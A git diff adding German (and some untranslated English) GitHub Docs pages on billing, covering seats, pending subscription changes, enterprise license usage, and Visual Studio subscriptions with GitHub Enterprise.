+If you'd like to use an enterprise account with {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+### Adding seats to your organization
+
+If you'd like additional users to have access to your {% data variables.product.prodname_team %} organization's private repositories, you can purchase more seats anytime.
+
+{% data reusables.organizations.billing-settings %}
+{% data reusables.dotcom_billing.add-seats %}
+{% data reusables.dotcom_billing.number-of-seats %}
+{% data reusables.dotcom_billing.confirm-add-seats %}
+
+### Switching your organization from per-repository to per-user pricing
+
+{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[About per-user pricing](/articles/about-per-user-pricing)."
+
+{% data reusables.organizations.billing-settings %}
+5. To the right of your plan name, use the **Edit** drop-down menu, and select **Edit plan**.
+  ![Edit drop-down menu](/assets/images/help/billing/per-user-upgrade-button.png)
+6. To the right of "Advanced tools for teams", click **Upgrade now**.
+  ![Upgrade now button](/assets/images/help/billing/per-user-upgrade-now-button.png)
+{% data reusables.dotcom_billing.choose_org_plan %}
+{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
+{% data reusables.dotcom_billing.owned_by_business %}
+{% data reusables.dotcom_billing.finish_upgrade %}
+
+## Troubleshooting a 500 error when upgrading
+
+{% data reusables.dotcom_billing.500-error %}
+
+## Further reading
+
+- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
+- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
+- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
new file mode 100644
index 0000000000..37355e8b26
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
@@ -0,0 +1,40 @@
+---
+title: Ausstehende Änderungen an Ihrem Abonnement anzeigen und verwalten
+intro: 'Du kannst ausstehende Änderungen an Deinen Abonnements anzeigen und stornieren, bevor sie an Deinem nächsten Abrechnungsdatum wirksam werden.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-and-managing-pending-changes-to-your-subscription
+  - /articles/viewing-and-managing-pending-changes-to-your-personal-account-s-billing-plan
+  - /articles/viewing-and-managing-pending-changes-to-your-organization-s-billing-plan
+  - /articles/viewing-and-managing-pending-changes-to-your-billing-plan
+  - /articles/viewing-and-managing-pending-changes-to-your-subscription
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+  - User account
+shortTitle: Pending subscription changes
+ms.openlocfilehash: 75cf19d56b61735ba39ddc943cf5b0c197416035
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085679'
+---
+Du kannst ausstehende Änderungen am Abonnement Deines Kontos sowie ausstehende Änderungen an Abonnements für andere bezahlte Funktionen und Produkte stornieren.
+
+Wenn Du eine ausstehende Änderung stornierst, wird Dein Abonnement bei Deinem nächsten Abrechnungsdatum nicht geändert (es sei denn, Du nimmst eine erneute Änderung an Deinem Abonnement vor dem nächsten Abrechnungsdatum vor).
+
+## Ausstehende Änderungen am Abonnement Deines persönlichen Kontos anzeigen und verwalten
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.review-pending-changes %} {% data reusables.dotcom_billing.cancel-pending-changes %} {% data reusables.dotcom_billing.confirm-cancel-pending-changes %}
+
+## Ausstehende Änderungen am Abonnement Deiner Organisation anzeigen und verwalten
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.review-pending-changes %} {% data reusables.dotcom_billing.cancel-pending-changes %} {% data reusables.dotcom_billing.confirm-cancel-pending-changes %}
+
+## Weiterführende Themen
+
+- [{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
new file mode 100644
index 0000000000..aba1e9288f
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
@@ -0,0 +1,54 @@
+---
+title: Viewing the subscription and usage for your enterprise account
+intro: 'You can view the current {% ifversion ghec %}subscription, {% endif %}license usage{% ifversion ghec %}, invoices, payment history, and other billing information{% endif %} for {% ifversion ghec %}your enterprise account{% elsif ghes %}{% data variables.location.product_location_enterprise %}{% endif %}.'
+permissions: 'Enterprise owners {% ifversion ghec %}and billing managers {% endif %}can access and manage all billing settings for enterprise accounts.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account
+  - /articles/viewing-the-subscription-and-usage-for-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/viewing-the-subscription-and-usage-for-your-enterprise-account
+versions:
+  ghec: '*'
+  ghes: '*'
+topics:
+  - Enterprise
+shortTitle: View subscription & usage
+---
+
+## About billing for enterprise accounts
+
+You can view an overview of {% ifversion ghec %}your subscription and paid{% elsif ghes %}the license{% endif %} usage for {% ifversion ghec %}your{% elsif ghes %}the{% endif %} enterprise account on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.{% ifversion ghec %} {% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)."{% endif %}
+
+For invoiced {% data variables.product.prodname_enterprise %} customers{% ifversion ghes %} who use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}{% endif %}, each invoice includes details about billed services for all products. For example, in addition to your usage for {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %}, you may have usage for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghec %}, {% elsif ghes %}. You may also have usage on {% data variables.product.prodname_dotcom_the_website %}, like {% endif %}paid licenses in organizations outside of your enterprise account, data packs for {% data variables.large_files.product_name_long %}, or subscriptions to apps in {% data variables.product.prodname_marketplace %}. For more information about invoices, see "[Managing invoices for your enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise){% ifversion ghec %}."{% elsif ghes %}" in the {% data variables.product.prodname_dotcom_the_website %} documentation.{% endif %}
+
+{% ifversion ghec %}
+
+In addition to enterprise owners, billing managers can view the subscription and usage for your enterprise account. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise#billing-manager)" and "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)."
+
+{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
+
+{% endif %}
+
+{% ifversion ghes %}
+
+If you want to view an overview of your subscription and usage for {% data variables.product.prodname_enterprise %} and any related services on {% data variables.product.prodname_dotcom_the_website %}, see "[Viewing the subscription and usage for your enterprise account](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
+
+{% endif %}
+
+## Viewing the subscription and usage for your enterprise account
+
+You can view the subscription and usage for your enterprise and download a file with license details.
+
+{% data reusables.billing.license-statuses %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.license-tab %}
+1. Under "User licenses", view your total licenses, number of consumed licenses, and your subscription expiration date.
+  {% ifversion ghec %}![License and subscription information in enterprise billing settings](/assets/images/help/business-accounts/billing-license-info.png){% else %}
+  ![License and subscription information in enterprise billing settings](/assets/images/enterprise/enterprise-server/enterprise-server-billing-license-info.png){% endif %}
+1. Optionally, to view details for license usage or download a {% ifversion ghec %}CSV{% elsif ghes %}JSON{% endif %} file with license details{% ifversion ghec %}, to the right of "User Licenses"{% endif %}, click **View {% ifversion ghec %}details{% elsif ghes %}users{% endif %}** or {% ifversion ghec %}{% octicon "download" aria-label="The download icon" %}{% elsif ghes %}**Export license usage**{% endif %}.{% ifversion ghec %}
+  !["View details" button and button with download icon to the right of "User Licenses"](/assets/images/help/business-accounts/billing-license-info-click-view-details-or-download.png){% endif %}{% ifversion ghec %}
+1. Optionally, to view usage details for other features, in the left sidebar, click **Billing**.
+  ![Billing tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/settings-billing-tab.png)
+{% endif %}
diff --git a/translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md b/translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md
new file mode 100644
index 0000000000..22310e02c9
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md
@@ -0,0 +1,56 @@
+---
+title: Informationen zu Visual Studio-Abonnements mit GitHub Enterprise
+intro: 'Mit einem kombinierten Angebot von Microsoft kannst du {% data variables.product.prodname_vs %}-Abonnenten in deinem Team Zugriff auf {% data variables.product.prodname_enterprise %} erteilen.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/managing-licenses-for-visual-studio-subscription-with-github-enterprise
+  - /github/setting-up-and-managing-your-enterprise/managing-licenses-for-the-github-enterprise-and-visual-studio-bundle
+  - /github/setting-up-and-managing-your-enterprise-account/managing-licenses-for-the-github-enterprise-and-visual-studio-bundle
+  - /github/articles/about-the-github-and-visual-studio-bundle
+  - /articles/about-the-github-and-visual-studio-bundle
+  - /github/setting-up-and-managing-your-enterprise-account/managing-licenses-for-visual-studio-subscription-with-github-enterprise
+  - /github/setting-up-and-managing-your-enterprise/managing-licenses-for-visual-studio-subscription-with-github-enterprise
+  - /billing/managing-your-license-for-github-enterprise/managing-licenses-for-visual-studio-subscription-with-github-enterprise
+versions:
+  ghec: '*'
+type: overview
+topics:
+  - Enterprise
+  - Licensing
+shortTitle: About
+ms.openlocfilehash: dd66572e3de9f34f6783b15d9fe8c876f4bb9d6b
+ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/31/2022
+ms.locfileid: '148120609'
+---
+## Informationen zu {% data variables.visual_studio.prodname_vss_ghe %}
+
+{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.visual_studio.prodname_vss_ghe %} wird von Microsoft gemäß den Bestimmungen des Microsoft Enterprise Agreement bereitgestellt. Weitere Informationen findest du unter [{% data variables.visual_studio.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/) auf der {% data variables.product.prodname_vs %}-Website.
+
+Für die Verwendung des {% data variables.product.prodname_enterprise %}-Lizenzanteils müssen die persönlichen Konten der einzelnen Abonnenten auf {% data variables.product.prodname_dotcom_the_website %} Mitglied einer Organisation sein, die sich auf {% data variables.product.prodname_dotcom_the_website %} im Besitz deines Unternehmens befindet. Organisationsbesitzer*innen können neue Mitglieder über deren E-Mail-Adressen zu einer Organisation einladen. Der Abonnent kann die Einladung über ein vorhandenes persönliches Konto auf {% data variables.product.prodname_dotcom_the_website %} annehmen oder ein neues Konto erstellen.
+
+Weitere Informationen zum Einrichten von {% data variables.visual_studio.prodname_vss_ghe %} findest du unter [Einrichten von {% data variables.visual_studio.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise).
+
+## Informationen zu Lizenzen für {% data variables.visual_studio.prodname_vss_ghe %}
+
+Nachdem du Abonnenten eine Lizenz für {% data variables.visual_studio.prodname_vss_ghe %} zugewiesen hast, nutzen diese den {% data variables.product.prodname_enterprise %}-Lizenzanteil, indem sie einer Organisation in deinem Unternehmen mit einem persönlichen Konto auf {% data variables.product.prodname_dotcom_the_website %} beitreten. Wenn die bestätigte E-Mail-Adresse für das persönliche Konto eines Unternehmensmitglieds auf {% data variables.product.prodname_dotcom_the_website %} mit dem Benutzerprinzipalnamen eines oder einer Abonnent*in deines {% data variables.product.prodname_vs %}-Kontos übereinstimmt, nutzt der oder die {% data variables.product.prodname_vs %}-Abonnent*in automatisch eine Lizenz für {% data variables.visual_studio.prodname_vss_ghe %}.
+
+Die Gesamtzahl deiner Lizenzen für dein Unternehmen auf {% data variables.product.prodname_dotcom %} ist die Summe aller {% data variables.product.prodname_enterprise %}-Standardlizenzen und {% data variables.product.prodname_vs %}-Abonnementlizenzen, die Zugriff auf {% data variables.product.prodname_dotcom %} gewähren. Wenn das persönliche Konto für ein Unternehmensmitglied nicht mit der E-Mail-Adresse für einen {% data variables.product.prodname_vs %}-Abonnenten übereinstimmt, ist die von diesem persönlichen Konto verwendete Lizenz nicht für einen {% data variables.product.prodname_vs %}-Abonnenten verfügbar.
+
+Weitere Informationen zu {% data variables.product.prodname_enterprise %} findest du unter [{% data variables.product.company_short %}'s products](/github/getting-started-with-github/githubs-products#github-enterprise) („GitHub-Produkte“). Weitere Informationen zu Konten auf {% data variables.product.prodname_dotcom_the_website %} findest du unter [Types of {% data variables.product.prodname_dotcom %} accounts](/github/getting-started-with-github/types-of-github-accounts) („Arten von GitHub-Konten“).
+
+Du kannst die Anzahl der verfügbaren {% data variables.product.prodname_enterprise %}-Lizenzen für dein Unternehmen auf {% data variables.location.product_location %} anzeigen. Die Liste der ausstehenden Einladungen umfasst Abonnent*innen, die noch keine Mitglieder in mindestens einer Organisation in deinem Unternehmen sind. Weitere Informationen findest du unter [Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account) („Anzeigen des Abonnements und der Nutzung für dein Unternehmenskonto“) und [Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-and-outside-collaborators) („Anzeigen von Personen in deinem Unternehmen“).
+
+{% tip %}
+
+**Tipp**: Wenn du in Schritt 6 von [Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account) („Anzeigen des Abonnements und der Nutzung für dein Unternehmenskonto“) eine CSV-Datei mit der Lizenznutzung in deinem Unternehmen herunterlädst, sind möglicherweise Mitglieder ohne Wert in den Namens- und Profilspalten vorhanden. Diese Mitglieder haben die Einladung zum Beitritt in einer Organisation innerhalb des Unternehmens noch nicht angenommen.
+
+{% endtip %}
+
+Du kannst ausstehende {% data variables.product.prodname_enterprise %}-Einladungen an Abonnent*innen auch im {% data variables.visual_studio.prodname_vss_admin_portal_with_url %} anzeigen.
+
+## Weiterführende Themen
+
+- [{% data variables.product.prodname_vs %}-Abonnements mit {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/visualstudio/subscriptions/access-github) in der Microsoft-Dokumentation
+- [Verwenden von {% data variables.product.prodname_vs %} oder {% data variables.product.prodname_vscode %} zum Bereitstellen von Apps über {% data variables.product.prodname_dotcom %}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) in der Microsoft-Dokumentation
diff --git a/translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md b/translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md
new file mode 100644
index 0000000000..3430b0f8ed
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md
@@ -0,0 +1,17 @@
+---
+title: Verwalten von Lizenzen für Visual Studio-Abonnements mit GitHub Enterprise
+shortTitle: Visual Studio & GitHub Enterprise
+intro: '{% data reusables.enterprise-accounts.vss-ghe-description %}'
+versions:
+  ghec: '*'
+children:
+  - /about-visual-studio-subscriptions-with-github-enterprise
+  - /setting-up-visual-studio-subscriptions-with-github-enterprise
+ms.openlocfilehash: 957483fc4d4f4fd3c2587433b337bc7cb2719859
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876766'
+---
+
diff --git a/translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md b/translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
new file mode 100644
index 0000000000..e7edffd2da
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
@@ -0,0 +1,74 @@
+---
+title: Einrichten von Visual Studio-Abonnements mit GitHub Enterprise
+intro: 'Durch das {% data variables.product.prodname_vs %}-Abonnement deines Teams kann auch der Zugriff auf {% data variables.product.prodname_enterprise %} gewährt werden.'
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Licensing
+shortTitle: Set up
+ms.openlocfilehash: ae030de637593aa723a5d2990485881ae30b333c
+ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/31/2022
+ms.locfileid: '148120625'
+---
+## Informationen zum Setup von {% data variables.visual_studio.prodname_vss_ghe %}
+
+{% data reusables.enterprise-accounts.vss-ghe-description %} Weitere Informationen findest du unter [Informationen zu {% data variables.visual_studio.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise).
+
+In dieser Anleitung wird erklärt, wie dein Team Lizenzen für {% data variables.product.prodname_vs %}-Abonnent*innen erhalten und mit der Arbeit mit {% data variables.product.prodname_enterprise %} beginnen kann.
+
+Wenn du dir lieber ein Video ansehen möchtest, kannst du dir [Einrichten deiner {% data variables.product.prodname_enterprise %}-Lizenzen mit {% data variables.product.prodname_vs %}-Abonnements](https://www.youtube.com/watch?v=P_zBgp_BE_I) auf dem YouTube-Kanal von Microsoft Visual Studio ansehen.
+
+## Rollen für {% data variables.visual_studio.prodname_vss_ghe %}
+
+Vor der Einrichtung von {% data variables.visual_studio.prodname_vss_ghe %} solltest du die Rollen für dieses kombinierte Angebot kennen.
+
+| Role | Dienst | BESCHREIBUNG | Weitere Informationen |
+| :- | :- | :- | :- |
+| **Abonnementsadministrator** | {% data variables.product.prodname_vs %}-Abonnement | Eine Person, die Lizenzen für {% data variables.product.prodname_vs %}-Abonnements zuweist | [Übersicht über Administratoraufgaben](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft-Dokumentation |
+| **Abonnent** | {% data variables.product.prodname_vs %}-Abonnement | Eine Person, die eine Lizenz für ein {% data variables.product.prodname_vs %}-Abonnement verwendet | [Dokumentation zu Visual Studio-Abonnements](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) in Microsoft-Dokumentation |
+| **Unternehmensbesitzer** | {% data variables.product.prodname_dotcom %} | Eine Person, die über ein persönliches Konto verfügt, das Administrator eines Unternehmens auf {% data variables.location.product_location %} ist | [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner) |
+| **Organisationsbesitzer** | {% data variables.product.prodname_dotcom %} | Eine Person, die über ein persönliches Konto verfügt, das Besitzer einer Organisation im Unternehmen deines Teams auf {% data variables.location.product_location %} ist | [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners) |
+| **Unternehmensmitglied** | {% data variables.product.prodname_dotcom %} | Eine Person, die über ein persönliches Konto verfügt, das Mitglied eines Unternehmens auf {% data variables.location.product_location %} ist | [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members)  |
+
+## Voraussetzungen
+
+- Das {% data variables.product.prodname_vs %}-Abonnement deines Teams muss {% data variables.product.prodname_enterprise %} enthalten. Weitere Informationen findest du unter [{% data variables.product.prodname_vs %}-Abonnements und -Vorteile](https://visualstudio.microsoft.com/subscriptions/) auf der {% data variables.product.prodname_vs %}-Website und in der [Übersicht über Administratoraufgaben](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft-Dokumentation.
+ 
+ - Dein Team muss ein Unternehmen auf {% data variables.location.product_location %} besitzen. Wenn du nicht sicher bist, ob dein Team über ein Unternehmen verfügt, wende dich an deine*n {% data variables.product.prodname_dotcom %}-Administrator*in. Wende dich an {% data variables.contact.contact_enterprise_sales %}, wenn du nicht sicher bist, wer in deinem Team für {% data variables.product.prodname_dotcom %} zuständig ist. Weitere Informationen findest du unter [Informationen zu Unternehmenskonten](/admin/overview/about-enterprise-accounts).
+
+## Einrichten von {% data variables.visual_studio.prodname_vss_ghe %}
+
+Ein Mitglied deines Teams muss die folgenden Aufgaben erledigen, um {% data variables.visual_studio.prodname_vss_ghe %} einzurichten.
+
+In manchen Fällen kann eine einzelne Person die Aufgaben erledigen, da diese über alle Rollen verfügt. Möglicherweise musst du diese Aufgaben jedoch auf mehrere Personen verteilen. Weitere Informationen findest du unter [Rollen für {% data variables.visual_studio.prodname_vss_ghe %}](#roles-for-visual-studio-subscriptions-with-github-enterprise).
+
+1. Ein Unternehmensbesitzer muss mindestens eine Organisation in deinem Unternehmen auf {% data variables.location.product_location %} erstellen. Weitere Informationen findest du unter [Hinzufügen von Organisationen zu deinem Unternehmen](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise).
+
+1. Der*Die Abonnementadministrator*in muss einem Abonnenten bzw. einer Abonnenten im  {% data variables.product.prodname_vs %} eine Lizenz für {% data variables.visual_studio.prodname_vss_admin_portal_with_url %} zuweisen. Weitere Informationen findest du unter [Übersicht über das Abonnementadministrator-Portal für {% data variables.product.prodname_vs %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/using-admin-portal) und [Zuweisen von {% data variables.product.prodname_vs %}-Lizenzen im Abonnementadministrator-Portal für {% data variables.product.prodname_vs %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-license) in Microsoft-Dokumentation.
+
+1. Wenn der*die Abonnementadministrator*in den Abonnent*innen in {% data variables.product.prodname_vs %} Lizenzen zugewiesen hat, bevor er {% data variables.product.prodname_enterprise %} zum Abonnement hinzugefügt hat, kann der*die Abonnementadministrator*in die Abonnent*innen optional in das kombinierte Angebot im {% data variables.product.prodname_vs %}-Verwaltungsportal verschieben. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_vs %}-Abonnements mit {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-github#moving-to-visual-studio-with-github-enterprise) in Microsoft-Dokumentation.
+
+1. Wenn der*die Abonnementadministrator*in die E-Mail-Benachrichtigungen nicht deaktiviert hat, erhält der*die Abonnent*in zwei Bestätigungs-E-Mails. Weitere Informationen findest du unter [{% data variables.product.prodname_vs %}-Abonnements mit {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/access-github#what-is-the-visual-studio-subscription-with-github-enterprise-setup-process) in Microsoft-Dokumentation.
+
+1. Ein Organisationsbesitzern muss den Abonnenten in die Organisation auf {% data variables.location.product_location %} aus Schritt 1 einladen. Der Abonnent kann die Einladung über ein vorhandenes persönliches Konto auf {% data variables.product.prodname_dotcom_the_website %} annehmen oder ein neues Konto erstellen. Nachdem der*die Abonnent*in der Organisation beigetreten ist, wird er*sie zu einem Unternehmensmitglied. Weitere Informationen findest du unter [Einladen von Benutzer*innen in deine Organisation](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization).
+
+   {% tip %}
+
+   **Tipps**:
+
+   - Auch wenn es nicht erforderlich ist, wird empfohlen, dass der*die Organisationsbesitzer*in eine Einladung an dieselbe E-Mail-Adresse sendet, die für den Benutzerprinzipalnamen (UPN) des Abonnenten bzw. der Abonnentin verwendet wird. Wenn die E-Mail-Adresse auf {% data variables.location.product_location %} mit dem UPN des Abonnenten bzw. der Abonnentin übereinstimmt, kannst du gewährleisten, dass kein anderes Unternehmen die Lizenz des Abonnenten bzw. der Abonnentin beansprucht.
+   - Wenn der Abonnent die Einladung zur Organisation über ein vorhandenes persönliches Konto auf {% data variables.location.product_location %} annimmt, wird empfohlen, dass er die E-Mail-Adresse, die er für {% data variables.product.prodname_vs %} verwendet, zu seinem persönlichen Konto auf {% data variables.location.product_location %} hinzufügt. Weitere Informationen findest du unter [Hinzufügen einer E-Mail-Adresse zu deinem {% data variables.product.prodname_dotcom %}-Konto](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account).
+   - Wenn der*die Organisationsbesitzer*in eine große Anzahl von Abonnent*innen einladen muss, kann ein Skript diesen Prozess beschleunigen. Weitere Informationen findest du im [PowerShell-Beispielskript](https://github.com/github/platform-samples/blob/master/api/powershell/invite_members_to_org.ps1) im `github/platform-samples`-Repository.
+
+    {% endtip %}
+
+Nachdem {% data variables.visual_studio.prodname_vss_ghe %} für Abonnenten in deinem Team eingerichtet wurde, können Unternehmensbesitzer die Lizenzierungsinformationen auf {% data variables.location.product_location %} anzeigen. Weitere Informationen findest du unter [Anzeigen des Abonnements und der Nutzung für dein Unternehmenskonto](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account).
+
+## Weiterführende Themen
+
+- [Erste Schritte mit {% data variables.product.prodname_ghe_cloud %}](/get-started/onboarding/getting-started-with-github-enterprise-cloud)
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/about-billing-on-github.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/about-billing-on-github.md
new file mode 100644
index 0000000000..212c1b68d5
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/about-billing-on-github.md
@@ -0,0 +1,53 @@
+---
+title: Informationen zur Abrechnung auf GitHub
+intro: 'Bei allem, was du auf {% data variables.product.prodname_dotcom %} kaufst, gelten Abrechnungsdatum, Zahlungsmethode und Quittung deines Kontos.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-on-github
+  - /articles/about-billing-on-github
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/about-billing-on-github
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Fundamentals
+ms.openlocfilehash: f0c16e5f1c341b602a10c5bf672b815ea2149a9e
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147879275'
+---
+## Kostenpflichtige Funktionen und Produkte
+
+Du kannst Dein persönliches Konto oder Deine Organisation jederzeit auf ein kostenpflichtiges Abonnement heraufstufen. Du kannst auch Apps von {% data variables.product.prodname_marketplace %} kaufen oder Speicher und Bandbreite für {% data variables.large_files.product_name_long %} upgraden. Weitere Informationen finden Sie unter
+- [Informationen zur Abrechnung für {% data variables.product.prodname_dotcom %}-Konten](/articles/about-billing-for-github-accounts)
+- [Informationen zur Abrechnung für {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)
+- [Informationen zur Abrechnung für {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)
+- [Informationen zur Abrechnung für {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors)"
+
+## Abrechnungseinstellungen verwalten
+
+Du musst die Abrechnungseinstellungen, die Zahlungsmethode sowie die kostenpflichtigen Funktionen und Produkte für jedes Deiner Konten separat verwalten. Du kannst wählen, ob Du monatlich oder jährlich für die kostenpflichtigen Produkte und Funktionen der einzelnen Konten bezahlen möchtest. Bei allen kostenpflichtigen Funktionen oder Produkte, die mit einem Konto verknüpft sind, sind Abrechnungsdatum, Zahlungsmethode und Quittung gleich.
+
+{% data reusables.dotcom_billing.payment-methods %} {% data reusables.dotcom_billing.same-payment-method %}
+
+Weitere Informationen findest Du unter [Verwalten deiner Abrechnungseinstellungen für {% data variables.product.prodname_dotcom %}](/articles/managing-your-github-billing-settings).
+
+## Wechseln zwischen Einstellungen für Ihre verschiedenen Konten
+
+Als Organisations- oder Unternehmensbesitzer kannst du mithilfe des Kontextschalters in deinen Einstellungen zwischen den Einstellungen für deine verschiedenen Konten wechseln. 
+
+{% data reusables.user-settings.access_settings %}
